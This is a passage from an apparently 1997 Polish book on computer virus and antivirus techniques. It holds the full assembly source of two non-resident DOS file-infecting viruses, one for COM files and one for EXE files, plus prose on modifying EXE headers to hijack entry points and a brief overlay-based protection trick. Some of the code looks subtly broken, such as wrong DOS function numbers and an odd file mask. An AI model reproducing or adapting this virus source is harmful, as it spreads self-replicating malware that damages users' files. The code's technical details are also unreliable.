VirusStart: ; tu zaczyna sie kod wirusa mov si,word ptr ds:[101h] ; pobierz relatywny ofset do miejsca ; w pamieci, gdzie znajduje sie wirus ; wartosc ta to czesc rozkazu JMP NEAR ; na poczatku, przy pierwszym wywolaniu ; =0000h mov al,byte ptr ds:[si+StareBajty] ; \ Przywroc zapamietane 3 bajty mov ds:[100h],al ; \ na poczatek programu CS:100h mov ax,word ptr ds:[si+StareBajty+1] ; / Podczas pierwszego uruchomienia mov ds:[101h],ax ; / jest to kod Int 20h lea dx,[si][TeInformacja] ; podaj gdzie jest tekst Call Informacja ; spytaj o uruchomienie wirusa jnc Infekcja ; CF=1 oznacza nie uruchamiaj jmp BezInfekcji ; NIE - nie infekuj Infekcja: lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA mov ah,1Ah ; funkcja DOS - ustaw nowe DTA int 21h ; wywolaj funkcje DOS lea dx,[si][MaskaCOM] ; maska poszukiwanych plikow '*.COM' mov cx,Atrybut ; podaj atrybut poszukiwanej pozycii mov ah,4Bh ; funkcja DOS - szukaj pierwszej ; pozycji katalogu int 21h ; wywolaj funkcje DOS jc NieMaPlikuCOM ; gdy CF=1, to blad KolejnyPlik: cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz ; zarazony ? je SzukajNastepnyPlik ; tak = szukaj nastepnego mov ax,word ptr [si][NoweDTA.DTASize+2] ; pobierz starsza czesc dlugosci ; pliku or ax,ax ; czy plik krotszy niz 65536 jnz SzukajNastepnyPlik ; nie - szukaj nastepnego mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku cmp ax,64000 ; czy dlugosc <= 64000 ja SzukajNastepnyPlik ; nie - szukaj nastepnego cmp ax,3 ; czy dlugosc >= 3 jb SzukajNastepnyPlik ; nie - szukaj nastepnego sub ax,3 ; odejmij dlugosc skoku E9 ?? ?? mov word ptr [si][Skok+1],ax ; zapisz do bufora rozkaz skoku mov cx,AtrArchive ; podaj nowy atrybut : Archive lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany mov ax,4301h ; funkcja DOS - zmien atrybut int 21h ; wywolaj funkcje DOS jc PrzywrocAtrybut ; gdy CF=1 to blad lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu mov ax,3D02h ; funkcja DOS - otworz plik ; do odczytu i zapisu int 21h ; wywolaj funkcje DOS jc PrzywrocAtrybut ; gdy CF=1, to blad xchg ax,bx ; przenies uchwyt pliku do BX mov cx,3 ; ilosc czytanych bajtow lea dx,[si+StareBajty] ; podaj dokad czytac 3 bajty mov ah,3Fh ; funkcja DOS - czytaj z pliku int 21h ; wywolaj funkcje DOS jc ZamknijPlik ; gdy CF=1, to blad mov ax,word ptr [si+StareBajty] ; wez dwa pierwsze bajty pliku cmp ax,'MZ' ; i sprawdz czy to nie EXE je ZamknijPlik ; gdy 'MZ', to plik EXE, powrot cmp ax,'ZM' ; je ZamknijPlik ; gdy 'ZM', to plik EXE, powrot xor cx,cx ; \ zeruj CX:DX zawierajace xor dx,dx ; / adres wzgledem konca pliku mov ax,4202h ; funkcja DOS - zmien wskaznik ; odczytu/zapisu na koniec pliku int 21h ; wywolaj funkcje DOS jc ZamknijPlik ; gdy CF=1, to blad mov cx,VirusDlug ; ilosc zapisanych bajtow lea dx,[si+103h] ; podaj skad zapisac wirusa mov ah,30h ; funkcja DOS - zapisz do pliku int 21h ; wywolaj funkcje DOS jc ZamknijPlik ; gdy CF=1, to blad xor cx,cx ; \ zeruj CX:DX zawierajace xor dx,dx ; / adres wzgledem poczatku pliku mov ax,4200h ; funkcja DOS - zmien wskaznik ; odczytu/zapisu na poczatek pliku int 21h ; wywolaj funkcje DOS jc ZamknijPlik ; gdy CF=1, to blad mov cx,3 ; ilosc zapisanych bajtow lea dx,[si][Skok] ; podaj skad zapisac rozkaz skoku mov ah,30h ; funkcja DOS - zapisz do pliku int 21h ; wywolaj funkcje DOS jc ZamknijPlik ; gdy CF=1, to blad mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA mov dx,VZnacznik ; zaznacz infekcje pliku mov ax,5701h ; funkcja DOS - wpisz date,czas int 21h ; wywolaj funkcje DOS ZamknijPlik: mov ah,3Eh ; funkcja DOS - zamknij plik int 21h ; wywolaj funkcje DOS PrzywrocAtrybut: mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut, CH=0 lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany mov ax,4301h ; funkcja DOS - zmien atrybut int 21h SzukajNastepnyPlik: ; poprzedni plik byl zarazony mov ah,4Fh ; funkcja DOS - szukaj innego ; plik COM int 21h ; wywolaj funkcje DOS jnc KolejnyPlik ; gdy CF=1, to blad NieMaPlikuCOM: mov dx,80h ; przywroc pierwotne DTA=PSP:80h mov ah,1Ah ; funkcja DOS - ustaw nowe DTA int 21h ; wywolaj funkcje DOS BezInfekcji: mov ax,100h ; \ skocz na poczatek programu jmp ax ; / do ofiary MaskaCOM db '*.COM' ; maska plikow COM (ASCIIZ) StareBajty db 0CDh,20h,90h ; bufor zawiera zapamietane bajty ; z poczatku programu ; tu : kod rozkazu int 20h/NOP Skok db 0E9h,?,? ; rozkaz skoku ; Czesc Informayjna Informacja: mov ah,09h ; funkcja DOS - wyswietl tekst$ int 21h ; wywolaj funkcje DOS mov ah,01h ; funkcja DOS - czytaj znak ; ze standardowego wejscia int 21h ; wywolaj funkcje DOS ; AL zawiera znak push ax ; zapamietaj na chwile znak mov ax,0E0Dh ; \ przejdz int 10h ; \ do mov ax,0E0Ah ; / nastepnej int 10h ; / linii pop ax ; przywroc znak and al,11011111b ; konwertuj znak na wielka litere cmp al,'T' ; czy potwierdzona infekcja clc ; ustaw flage na TAK je CLCRet ; TAK i powrot stc ; ustaw flage na NIE i powrot CLCRet: ret ; powrot TeInformacja db CR,LF,'KOMORKA v1.0, Autor : Adam Blaszczyk 1997' db CR,LF db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?' db DOLAR VirusEnd: NoweDTA DTAStruc KOMORKA ENDS END Start 4.1.2. Pliki wykonywalne EXE Poprzednio omówione pliki COM przeważały w początkowym okresie istnienia systemu DOS, lecz szybko zostały wyparte przez pliki EXE, które oferowały możliwość pisania programów mieszczących się w kilku segmentach. Zarażanie plików EXE jest sprawą o wiele trudniejszą od infekcji plików COM ze względu na ich bardziej skomplikowaną budowę, a także na konieczność wykrywania systemu, dla którego plik jest przeznaczony. Pliki EXE dzielą się bowiem na tzw. stare (ang. old executab-les) i nowe (ang. new executables). Pierwsze z nich przeznaczone są tylko i wyłącznie dla systemu DOS, natomiast drugie to programy działające w środowiskach wykorzystujących tryb chroniony. Jak pokazano dalej, na podstawie danych zawartych w pliku EXE można wykryć system, dla którego jest on przeznaczony i w rezultacie plik taki zainfekować. 4.1.2.1. Pliki EXE dla systemu DOS (stare EXE) Jak już wspomniano, pliki COM mogły zawierać w swym wnętrzu tylko jeden segment, wspólny dla kodu, danych i stosu. W przeciwieństwie do nich pliki EXE mogą zawierać programy, których rozmiary ograniczone są tylko przez wielkość dostępnej aktualnie pamięci operacyjnej, znajdującej się poniżej pierwszych 640kB. Najczęściej w programach tych jest kilka segmentów kodu i danych, a także osobny segment stosu. Ze względu na bardziej skomplikowaną strukturę, do załadowania programów EXE system DOS potrzebuje więcei informacji, niż w przypadku plików COM. Informacje zawarte są w istniejącym na początku każdego pliku EXE nagłówku, który składa sie z dwóch części: sformatowanej i niesformatowanej. Długość sformatowanej części nagłówka jest stała i wynosi 27 bajtów, natomiast długość części niesformatowanej oblicza się na podstawie danych zawartych w nagłówku sformatowanym. W skrajnym przypadku długość części niesrormatowanej może być równa O, co często ma miejsce, gdy programy są wewnętrznie skompresowane i zminimalizowane. Opis sformatowanej części nagłówka podano poniżej. Sformatowany nagłówek pliku EXE 00-01 Znacznik pliku EXE. MZ lub ZM 02-03 Liczba bajtów na ostatniej, 512 bajtowej, stronie programu, W praktyce oznacza, ile bajtów system DOS musi skopiować z ostatniego sektora zajmowanego przez program. 04-05 Długość całego pliku EXE, podana w 512-bajtowych stronach z uwzględnieniem nagłówka i ostatniej strony opisanej w polach 02h-03h. W praktyce oznacza ilość sektorów zajmowanych przez program, 06-07 Liczba elementów relokowalnych w programie, czyli liczba 4-bajtowych rekordów, znajdujących siew niesformatowanej części nagłówka, opisujących miejsca w kodzie programu (jako segment: przesunięcie; w każdym rekordzie przesunięcie znajduje się przed segmentem), gdzie należy dodać segment, pod który ładowany jest program 08-09 Długość nagłówka w 16-bajtowych paragrafach 0A-0B Minimalna wymagana pamięć poza załadowanym kodem programu, podana w 16-bajtowych paragrafach 0C-0D Maksymalna wymagana pamięć poza załadowanym kodem programu, podana w 16-bajtowych paragrafach 0E-0F Początkowa wartość rejestru segmentowego stosu (SS) względem początku programu. 10-11 Początkowa wartość wskaźnika stosu (SP) 12-13 Suma kontrolna (zanegowana suma wszystkich bajtów w pliku), nie używana przez DOS, stąd pole to może posłużyć jako wskaźnik zainfekowania pliku 14-15 Początkowa wartość licznika rozkazów IP 16-17 Początkowa wartość rejestru segmentu kodu CS względem początku programu. 18-19 Adres pierwszej pozycji tablicy relokacji w stosunku do początku pliku. Jeżeli pole jest równe 40h lub więcej, jest to prawdopodobnie nowy plik EXE 1A-1B Numer nakładki Informacje zawarte w nagłówku pliku EXE zawierają wymagania programu dotyczące pamięci operacyjnej oraz ustalają początkowe wartości rejestrów SS i SP, odpowiedzialnych za stos, a także rejestrów CS i IP, wskazujących na pierwszą instrukcję programu. Dopiero po nagłówkach pojawia się właściwy kod programu, a za nim, na końcu niektórych plików EXE przeznaczonych dla systemu DOS, znajduje się często tzw. wewnętrzna nakładka (ang. internal overlay), zawierająca dodatkowe dane lub kod programu. Wykorzystując fakt, iż znakomita większość istniejących wirusów nie zaraża plików EXE z wewnętrznymi nakładkami, można dość prosto zabezpieczyć wszystkie pliki EXE na dysku przed ewentualną infekcją. Wystarczy na końcu każdego z tych plików dopisać jeden dowolny bajt, który przez większość wirusów będzie uznawany za wewnętrzną nakładkę. Dopiero po odczytaniu i zinterpretowaniu danych z nagłówka system może przystąpić do ładowania właściwego programu, zawartego w pliku EXE, który umieszczany jest bezpośrednio za blokiem PSP. Z powyższego wynika, iż w przeciwieństwie do programu COM obraz programu EXE wygląda inaczej w pamięci niż na dysku. Po wczytaniu programu do wartości początkowych rejestrów CS i SS (zawartych w nagłówku sformatowanym) dodawany jest adres segmentu, pod który został on załadowany. Adres tego segmentu służy także do zmodyfikowania pewnych instrukcji w programie, które są zależne od jego faktycznego umiejscowienia w pamięci operacyjnej (są to np. rozkazy wywołań dalekich procedur i skoków oraz operacje na segmentach występujących w programie). Adresy w pamięci, które trzeba w ten sposób zmodyfikować, zawarte są w tablicy relokacji. Pierwszą czynnością wykonywaną przez wirusa powinno być odczytanie sformatowanego nagłówka pliku potencjalnej ofiary i porównanie dwóch pierwszych bajtów programu (znacznik z pola 00h-0lh) z sekwencją 'MZ' lub 'ZM'. Jeżeli porównanie wypadło pomyślnie, istnieje duża szansa, iż jest to plik typu EXE i można go spróbować zainfekować. Drugą czynnością wykonywaną przez wirusa powinno być sprawdzenie, czy plik EXE jest programem przeznaczonym dla systemu DOS. Na pozycji 18h-19h w nagłówku widnieje wtedy wartość mniejsza od 40h, w przeciwnym wypadku jest to prawdopodobnie nowy EXE. Kolejnym krokiem wykonywanym przez wirusa powinno być sprawdzenie, czy plik EXE nie zawiera wewnętrznej nakładki. Dokonuje się tego poprzez porównanie długości całego pliku EXE (widzianej przez DOS) z długością obliczaną na podstawie pól zawartych w nagłówku (pola 02h-03h i U4h-05h). Jeżeli wartości te różnią się od siebie, plik zawiera nakładkę. Taki plik także można zainfekować, jednak wiąże się to z koniecznością przesunięcia w nim całej nakładki o długość wirusa, tak aby ten mógł umieścić swój kod bezpośrednio za obrazem ładowanym przez DOS do pamięci. Podczas uruchamiania programu EXE nakładka nie jest ładowana do pamięci bezpośrednio z programem, tak więc gdyby wirus znajdował się w pliku bezpośrednio za nią, także nie zostałby załadowany i w efekcie program by się zawieszał. Zarażone programy z wewnętrzną nakładką często nie będą działały poprawnie, zwłaszcza jeśli korzystając z nakładki nie obliczają adresów w pliku na bieżąco (tzn. na podstawie pól nagłówka), lecz korzystają z wartości stałych. Powyższe problemy sprawiają, iż większość wirusów zaprzestaje infekcji po wykryciu, iż plik EXE zawiera nakładkę i dzięki temu można zastosować opisaną wcześniej sztuczkę z 1-bajtową pseudonakładką. Infekcja pliku EXE bez wewnętrznej nakładki polega na odpowiedniej modyfikacji sformatowanej części nagłówka, tak by początkowe wartości rejestrów CS:IP (zawartych w polach 16h-17h i 14h-15h w nagłówku) wskazywały na wirusa, który zwykle dopisywany jest na końcu pliku. Najczęściej zmieniane są także początkowe wartości SS i SP (pola 10-llh i 0Eh-0Fh w nagłówku), ażeby nie okazało się, iż po uruchomieniu stos ustawiony jest na kod wirusa. Warto także zmodyfikować parametry minimalnej i maksymalnej pamięci wymaganej przez program, tak aby uwzględniały długość kodu wirusa. Prawdziwe wartości zmienianych parametrów trzeba wcześniej zapamiętać, żeby wirus po uruchomieniu mógł przekazać sterowanie do oryginalnego programu. Inny sposób na przejęcie kontroli nad zainfekowanym programem po jego uruchomieniu polega na odnalezieniu w pliku zawierającym jego kod (np. przy pomocy łatwo dostępnej tablicy relokacji) wywołań dalekich procedur (najczęściej będących funkcjami bibliotecznymi) o 5 bajtowym kodzie 9A OO OO SS SS, gdzie SSSS:OOOO oznacza adres, pod którym znajduje się wywoływana procedura (SS SS oznacza segment, a OO OO - przesunięcie). Inicjując program, DOS dodaje do ustalonej, zawartej w pliku wartości SS SS adres, pod który został załadowany program. Zmieniając w pliku wartość SS SS:OO OO tak, by wskazywał on na wirusa, można ominąć konieczność modyfikacji pól 16h-17h i 14h-15h w nagłówku i przy okazji utrudnić odnalezienie wirusa w pliku. Tego typu wirus uruchomi się dopiero po próbie wywołania dalekiej procedury, co może zdarzyć się w dowolnym momencie programu (a nie od razu na początku). Typowy wygląd starego pliku EXE przed i po infekcji przedstawiony został w poniższych tabelach. Struktura niezainfekowanego pliku EXE Zawartość pliku Sformatowany nagłówek pliku EXE zaczynający się literami 'MZ' lub 'ZM' Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś dane, np. nazwisko autora, nazwę programu Właściwy kod programu Ewentualna nakładka Struktura zainfekowanego pliku EXE Zawartość pliku Sformatowany nagłówek pliku EXE zaczynający się literami 'MZ' lub 'ZM' z wprowadzonymi przez wirusa zmianami Niesformatowany nagłówek pliku EXE zawierający tablicę relokacji i ewentualnie jakieś dane, np. nazwisko autora, nazwę programu Właściwy kod programu Kod wirusa Ewentualna nakładka; występuje bardzo rzadko, gdyż większość wirusów nie zaraża plików z wewnętrznymi nakładkami Ponizej przedstawiono przyklad prostego nierezydetnego wirusa infekujacego pliki EXE. ;----------------------------------------------------------------------------; ; ; ; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ; ; ; ; EGZEMA v1.0, Autor : Adam Blaszczyk 1997 ; ; ; ; Prosty wirus nierezydentny plikow EXE ; ; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ; ; znajdujace sie w biezacym katalogu ; ; ; ; Kompilacja : ; ; TASM EGZEMA.ASM ; ; TLINK EGZEMA.OBJ ; ; ; ;----------------------------------------------------------------------------; EGZEMA SEGMENT JUMPS ASSUME CS:EGZEMA, DS:EGZEMA NUL = 00h ; \ LF = 0Ah ; \ stale znakow CR = 0Dh ; / ASCII DOLAR = '$' ; / AtrReadOnly = 00000001b ; \ AtrHidden = 00000010b ; \ AtrSystem = 00000100b ; \ rozne stale atrybutow AtrVolumeID = 00001000b ; / pozycji katalogu AtrDirectory = 00010000b ; / AtrArchive = 00100000b ; / Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrDirectory ; atrybut poszukiwanej pozycji ; katalogu VirusDlug = offset (VirusEnd-VirusStart) ; dlugosc kodu wirusa VRok = 1998 ; \ data opisujaca VMiesiac = 13 ; - pliki juz zainfekowane VDzien = 31 ; / VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien DTAStruc struc ; struktura DTA bufora transmisji ; dyskowych uzywanych przez ; funkcje 4E i 4F DTAFill db 21 dup (?) ; nieistotna czesc DTAAttr db ? ; atrybut znalezionej pozycji DTATime dw ? ; czas znalezionej pozycji DTADate dw ? ; data znalezionej pozycji DTASize dd ? ; dlugosc znalezionej pozycji DTAName db 13 dup (?) ; nazwa znalezionej pozycji DTAStruc ends VirusStart: ; tu zaczyna sie kod wirusa Call Trik ; \ Trik: ; \ pop si ; / oblicz relatywny ofset sub si,3 ; / push cs ; \ DS=CS=kod wirusa pop ds ; / mov ax,es ; \ es=PSP+10h add ax,10h ; / add [si][StarySS],ax ; \ push [si][StarySS] ; - zachowaj wartosci stosu push [si][StarySP] ; / dla nosiciela add ax,[si][StaryCS] ; \ mov [si][SkokCS],ax ; \ utworz pelny rozkaz skoku mov ax,[si][StaryIP] ; / do nosiciela mov [si][SkokIP],ax ; / lea dx,[si][TeInformacja] ; podaj gdzie jest tekst Call Informacja ; spytaj o uruchomienie wirusa jnc Infekcja ; CF=1 oznacza nie uruchamiaj jmp BezInfekcji ; NIE - nie infekuj Infekcja: lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA mov ah,1Ah ; funkcja DOS - ustaw nowe DTA int 21h ; wywolaj funkcje DOS lea dx,[si][MaskaEXE] ; maska poszukiwanych plikow '*.EXE' mov cx,Atrybut ; podaj atrybut poszukiwanej pozycii mov ah,4Eh ; funkcja DOS - szukaj pierwszej ; pozycji katalogu int 21h ; wywolaj funkcje DOS jc BezInfekcji ; gdy CF=1, to blad KolejnyPlik: cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz ; zarazony ? je SzukajNastepnyPlik ; tak = szukaj nastepny cmp word ptr [si][NoweDTA.DTASize],26; czy dlugosc>=26 bajtow ? jb SzukajNastepnyPlik ; nie = szukaj nastepny mov cx,AtrArchive ; podaj nowy atrybut : Archive lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany mov ax,4301h ; funkcja DOS - zmien atrybut int 21h ; wywolaj funkcje DOS jc PrzywrocAtrybut ; gdy CF=1, to blad lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu mov ax,3D02h ; funkcja DOS - otworz plik ; do odczytu i zapisu int 21h ; wywolaj funkcje DOS jc PrzywrocAtrybut ; gdy CF=1, to blad xchg ax,bx ; przenies uchwyt pliku do BX mov cx,26 ; ilosc czytanych bajtow lea dx,[si][Naglowek] ; podaj dokad czytac 26 bajty mov ah,3Fh ; funkcja DOS - czytaj z pliku int 21h ; wywolaj funkcje DOS jc ZamknijPlik ; gdy CF=1, to blad mov ax,word ptr [si][Naglowek] ; wez dwa pierwsze bajty pliku cmp ax,'mz' ; i sprawdz, czy to EXE je JestEXE ; gdy 'MZ', to plik EXE cmp ax,'zm' ; jne ZamknijPlik ; gdy 'ZM', to plik EXE JestEXE: cmp word ptr [si][Naglowek+18h],40h ; czy plik Nowy EXE ? ; (pominiete zostana takze ; niektore pliki EXE z ustawionym ; adresem tablicy relokacji > 40h) jae ZamknijPlik ; TAK - szukaj nastepny mov ax,word ptr [si][Naglowek+14h] ; \ zachowaj stare CS i IP mov [si][StaryIP],ax ; \ z pliku mov ax,word ptr [si][Naglowek+16h] ; / mov [si][StaryCS],ax ; / mov ax,word ptr [si][Naglowek+10h] ; \ zachowaj stare SS i SP mov [si][StarySP],ax ; \ z pliku mov ax,word ptr [si][Naglowek+0Eh] ; / mov [si][StarySS],ax ; / mov ax,word ptr [si][Naglowek+08h] ; \ wez dlugosc naglowka w mov cx,16 ; - paragrafach i oblicz mul cx ; / jego dlugosc w bajtach mov bp,ax ; \ zachowaj dlugosc na pozniej mov di,dx ; / mov ax,word ptr [si][Naglowek+04h] ; wez ilosc stron cmp word ptr [si][Naglowek+02h],0 ; czy ilosc bajtow na ostatniej stronie=0 jz NieZmniejszaj ; TAK - nie zmniejszaj ilosci stron cmp ax,0 ; czy ilosc stron=0 ? jz NieZmniejszaj ; TAK - nie zmniejszaj ilosci stron dec ax ; NIE zmniejsz ilsoc stron o jedna NieZmniejszaj: mov word ptr [si][Naglowek+04h],ax ; zapisz na pozniej mov cx,512 ; wez dlugosc obrazu programu w stronach mul cx ; i oblicz jego dlugosc w bajtach add ax,word ptr [si][Naglowek+02h] ; dodaj ilosc bajtow na ostatniej stronie adc dx,0 ; dodaj ewentualne przeniesienie cmp ax,word ptr [si][NoweDTA.DTASize] ; \ czy rozmiar obrazu z naglowka jne ZamknijPlik ; \ jest rowny dlugosci pliku ? cmp dx,word ptr [si][NoweDTA.DTASize+2] ; / TAK - infekuj jne ZamknijPlik ; / NIE - prawdopodobnie nakladka sub ax,bp ; \ odejmij od dlugosci pliku sbb dx,di ; / dlugosc naglowka ; ax,dx=dlugosc kodu programu mov cx,16 ; oblicz nowe CS i SP div cx ; dla programu mov word ptr [si][Naglowek+14h],dx ; zachowaj nowe IP mov word ptr [si][Naglowek+16h],ax ; zachowaj nowe CS add dx,100h+VirusDlug ; stos bedzie za wirusem and dl,11111110b ; SP - najczesciej jest parzysty mov word ptr [si][Naglowek+10h],dx ; zachowaj nowe SP mov word ptr [si][Naglowek+0Eh],ax ; zachowaj nowe SS mov ax,word ptr [si][Naglowek+02h] ; \ add ax,VirusDlug ; \ cwd ; \ mov cx,512 ; \ div cx ; \ add word ptr [si][Naglowek+04h],ax ; - zmien dlugosc obrazu mov word ptr [si][Naglowek+02h],dx ; / w naglowku pliku EXE or dx,dx ; / jz NieDodawaj ; / inc word ptr [si][Naglowek+04h] ; / NieDodawaj: ; / xor cx,cx ; \ zeruj CX:DX zawierajace xor dx,dx ; / adres wzgledem konca pliku mov ax,4202h ; funkcja DOS - zmien wskaznik ; odczytu/zapisu na koniec pliku int 21h ; wywolaj funkcje DOS jc ZamknijPlik ; gdy CF=1, to blad mov cx,VirusDlug ; ilosc zapisywanych bajtow mov dx,si ; podaj skad zapisac wirusa mov ah,30h ; funkcja DOS - zapisz do pliku int 21h ; wywolaj funkcje DOS jc ZamknijPlik ; gdy CF=1, to blad xor cx,cx ; \ zeruj CX:DX zawierajace xor dx,dx ; / adres wzgledem poczatku pliku mov ax,4200h ; funkcja DOS - zmien wskaznik ; odczytu/zapisu na poczatek pliku int 21h ; wywolaj funkcje DOS jc ZamknijPlik ; gdy CF=1, to blad mov cx,26 ; ilosc zapisywanych bajtow lea dx,[si][Naglowek] ; podaj skad zapisac nowy naglowek mov ah,30h ; funkcja DOS - zapisz do pliku int 21h ; wywolaj funkcje DOS jc ZamknijPlik ; gdy CF=1, to blad mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA mov dx,VZnacznik ; zaznacz infekcje pliku mov ax,5701h ; funkcja DOS - wpisz date, czas int 21h ; wywolaj funkcje DOS ZamknijPlik: mov ah,3Eh ; funkcja DOS - zamknij plik int 21h ; wywolaj funkcje DOS PrzywrocAtrybut: mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut mov ch,0 ; CX=CL lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany mov ax,4301h ; funkcja DOS - zmien atrybut int 21h SzukajNastepnyPlik: ; poprzedni plik byl zarazony mov ah,4Fh ; funkcja DOS - szukaj innego ; pliku EXE int 21h ; wywolaj funkcje DOS jnc KolejnyPlik ; gdy CF=1, to blad BezInfekcji: push es ; \ es=ds=PSP pop ds ; / mov dx,80h ; przywroc pierwotne DTA=PSP:80h mov ah,1Ah ; funkcja DOS - ustaw nowe DTA int 21h ; wywolaj funkcje DOS pop ax ; \ zdejmij ze stosu wartosci pop dx ; / SS i SP nosiciela mov ss,dx ; \ i umiesc te wartosci w mov sp,ax ; / SS i SP db 0EAh ; powroc do nosiciela SkokIP dw ? ; \ czesc skoku JMP FAR SkokCS dw ? ; / MaskaEXE db '*.EGZE' ; maska plikow EXE (ASCIIZ) Naglowek db 26 dup(?) ; bufor zawiera zapamietane bajty ; z poczatku programu ; tu : kod rozkazu int 20h/NOP ; Czesc Informayjna Informacja: mov ah,09h ; funkcja DOS - wyswietl tekst$ int 21h ; wywolaj funkcje DOS mov ah,01h ; funkcja DOS - czytaj znak ; ze standardowego wejscia int 21h ; wywolaj funkcje DOS ; AL zawiera znak push ax ; zapamietaj na chwile znak mov ax,0E0Dh ; \ przejdz int 10h ; \ do mov ax,0E0Ah ; / nastepnej int 10h ; / linii pop ax ; przywroc znak and al,11011111b ; konwertuj znak na wielka litere cmp al,'T' ; czy potwierdzona infekcja ? clc ; ustaw flage na TAK je CLCRet ; TAK i powrot stc ; ustaw flage na NIE i powrot CLCRet: ret ; powrot TeInformacja db CR,LF,'EGZEMA v1.0, Autor : Adam Blaszczyk 1997' db CR,LF db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?' db DOLAR StaryCS dw 0 StaryIP dw offset Nosiciel StarySS dw 0 StarySP dw offset Nosiciel+100h VirusEnd: NoweDTA DTAStruc Nosiciel: mov ax,4C00h int 21h EGZEMA ENDS END VirusStart 4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE) Duża część istniejących obecnie plików EXE to tzw. nowe EXE. Mają one inną budowę niż pliki przeznaczone dla systemu DOS. Na ich początku znajduje się krótki programik działający w systemie DOS, tzw. STUB, mający za zadanie bądź wyświetlenie komunikatu, iż plik zawiera program nie działający w systemie DOS, bądź też próbę uruchomienia zawartego w pliku właściwego programu dla trybu chronionego pod kontrolą odpowiedniego dla niego środowiska, najczęściej używającego trybu chronionego, np. WINDOWS, DOS4GW. Nawiasem mówiąc, fakt istnienia programu STUB stwarza możliwość napisania programu działającego równocześnie pod dwoma systemami, np. pod DOS i WIN-DOWS. To, który z programów byłby wykonywany byłoby zależne od systemu, pod którym byśmy aktualnie pracowali. Program dla DOS-a pełniłby tu rolę programu STUB. Po programie STUB znajduje się właściwy program przeznaczony dla trybu chronionego, posiadający, podobnie jak programy dla DOS, odpowiednio sformatowany nagłówek. Różne systemy mają różną strukturę tego nagłówka, tak więc infekcja takich programów jest o wiele trudniejsza niż w przypadku plików przeznaczonych dla DOS. Komplikacje przy pisaniu wirusów infekujących takie pliki wynikają także ze znacznych różnic, jakie występują pomiędzy trybem chronionym, dla którego są one przeznaczone, a trybem rzeczywistym, używanym przez DOS. Potencjalny twórca takiego wirusa musi uwzględniać przy jego programowaniu podstawowe cechy systemów wielozadaniowych: podział i ochronę zasobów, fakt stronicowania pamięci, połączonego z wymiataniem nie używanych obszarów pamięci na dysk (ang. swapping} oraz podział programu na oddzielne bloki danych, kodu i stosu, posiadających odpowiednie prawa dostępu, zawarte w deskryptorach. Można powiedzieć, iż bez dobrej znajomości trybu chronionego napisanie wirusa dla nowych EXE jest niemożliwe. Dowód na to stanowi stosunkowo mała liczba wirusów pisanych pod systemy Windows 3.l, Windows 95 czy OS/2 (inną ważną przyczyną tego stanu rzeczy jest utrudniony dostęp do dokładnych informacji o tych systemach). Infekując pliki nowe EXE (za pomocą opisanej w poprzednim rozdziale metody) musimy na początku sprawdzić, czy rzeczywiście jest to plik tego typu. Porównujemy dwa pierwsze bajty pliku z sekwencją 'MZ' lub 'ZM' (na tym etapie nie jest ważne, dla jakiego systemu przeznaczony jest plik). Następnie, jeżeli porównanie wypadło pomyślnie, należy sprawdzić, czy na pozycji 18h-19h w nagłówku starego EXE znajduje się wartość 40h lub większa. Jeśli tak, to należy spróbować odczytać ewentualny nagłówek nowego EXE, w którym znajduje się odpowiedni znacznik (dwa znaki ASCII) informujący o systemie, dla którego program jest przeznaczony. Typowe znaczniki zawarto w poniższej tabeli. Znaczniki rozszerzonego nagłówka nowych plików EXE Znacznik Docelowy system NE Windows lub OS/2 1.x, z podziałem na segmenty LE Windows virtual device driver (VxD) z liniowym adresowaniem (Linear Executable) LX Wariant LE, używany przez OS/2 2.x W3 Plik WIN386.EXE dla Windows; kolekcja plików LE PE Windows NT lub Win32s (Portable Executable) DL HP 100LX/200LX (Pliki *.EXM) MP Stare pliki PharLap (pliki *.EXP) P2 PharLap 286 (pliki *.EXP) P3 PharLap 386 (pliki *.EXP) 4.1.2.2.1. Pliki EXE dla Windows (NE) W przypadku programów dla Windows (znacznik NE) infekcja plików polegać może na odpowiedniej modyfikacji pól nagłówka NE oraz dodatkowo tablicy segmentów zawartych w programie, którą trzeba rozszerzyć o segment identyfikujący miejsce w pliku, w którym znajduje się kod wirusa. Ze względu na to, iż rozszerzenie tablicy segmentów wiąże się z koniecznością przesunięcia całego następującego po niej kodu programu (najczęściej bardzo długiego), jako jedno z rozwiązań proponuje się zmniejszenie rozmiaru programu STUB i przesunięcie tylko początkowej części pliku (w tym wypadku cofnięcie części nagłówka) w tak wygospodarowane miejsce. Format nagłówka pliku nowy EXE (NE) dla Windows pokazano poniżej. Format nagłówka plików nowy EXE (NE) dla Windows Adres Zawartość 00-01 znacznik pliku, bajty 'NE' 02-03 numer wersji programu linkującego (najpierw bardziej znacząca, potem mniej znacząca część) 04-05 offset względem początku nagłówka do tablicy wejść; format tablicy wejść jest następujący 00 liczba wejść (00, jeżeli koniec listy) 01 numer segmentu (00, jeżeli koniec listy) 02 pierwszy rekord 05 drugi rekord ......... Każdy rekord ma format 00 flagi: bit 0: EXPORTED bit 1: SINGLE DATA bity 2-7: nie używane 01-02 ofset w segmencie 06-07 długość (w bajtach) tablicy wejść 08-0B kod korekcyjny (CRC) pliku 0C flagi programu; znaczenie poszczególnych bitów 0-1 DGROUP 0 = nie ma 1 = SINGLE SHARED 2 = MULTIPLE (UNSHARED) 3 = (NULL) 